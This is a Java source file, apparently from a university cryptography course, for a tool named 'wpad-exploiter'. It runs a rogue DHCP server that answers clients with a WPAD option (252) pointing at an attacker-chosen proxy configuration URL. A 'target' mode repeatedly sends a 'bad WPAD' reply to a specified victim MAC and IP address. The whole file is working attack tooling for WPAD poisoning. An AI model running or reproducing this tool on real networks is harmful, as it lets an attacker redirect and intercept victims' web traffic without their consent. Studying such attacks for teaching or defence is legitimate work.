package ar.uba.fi.crypto;

import java.io.IOException;

import edu.bucknell.net.JDHCP.DHCPMessage;
import edu.bucknell.net.JDHCP.DHCPSocket;

public class DCHPServer {

    public static void main(String[] args) throws IOException, InterruptedException {
        if(args.length==0){
            DCHPServer.printOptions();
            return ;
        }

        if(args.length == 1 || "standard".equals(args[0])) {
            DHCPSocket socket = new DHCPSocket(67); // 67 es server
            DHCPMessage dhcpRequest = new DHCPMessage();
            WPADReplier replier = new WPADReplier(socket);

            while(true) {
                socket.receive(dhcpRequest);
                System.out.println("DHCP Packet received: " + dhcpRequest);
                if(dhcpRequest.getOption(53) != null) {
                    replier.replyWithHealthyWpad(dhcpRequest, args[1]);
                    System.err.println("Request with option 252 (WPAD) sent");
                }
            }
        } else if("target".equals(args[0])) {
            if(args.length < 4) return;

            DHCPSocket socket = new DHCPSocket(67); // 67 es server
            WPADReplier replier = new WPADReplier(socket);

            while(true) {
                byte[] chaddr = InternetAddressToByteConverter.MACAddressTo16ByteArray(args[1]);
                byte[] ciaddr = InternetAddressToByteConverter.IPAddressToByteArray(args[2]);
                replier.replyWithBadWpad(args[3], chaddr, ciaddr);
                System.err.println("Request with option 252 (WPAD) sent");
            }
        } else {
            DCHPServer.printOptions();
        }
    }

    private static void printOptions() {
        System.out.println("Use:");
        System.out.println("");
        System.out.println("\twpad-exploiter [standard] fileURL");
        System.out.println("\tor");
        System.out.println("\twpad-exploiter target MAC_ADDR IP_ADDR file_URL");
        System.out.println("\twhere");
        System.out.println("\t\tMAC_ADDR:\t MAC Address of the victim's box.");
        System.out.println("\t\tIP_ADDR:\t\t IP Address of the victim's box.");
        System.out.println("\t\tfile_URL:\t\t The URL where the configuration file is located.");
    }
}
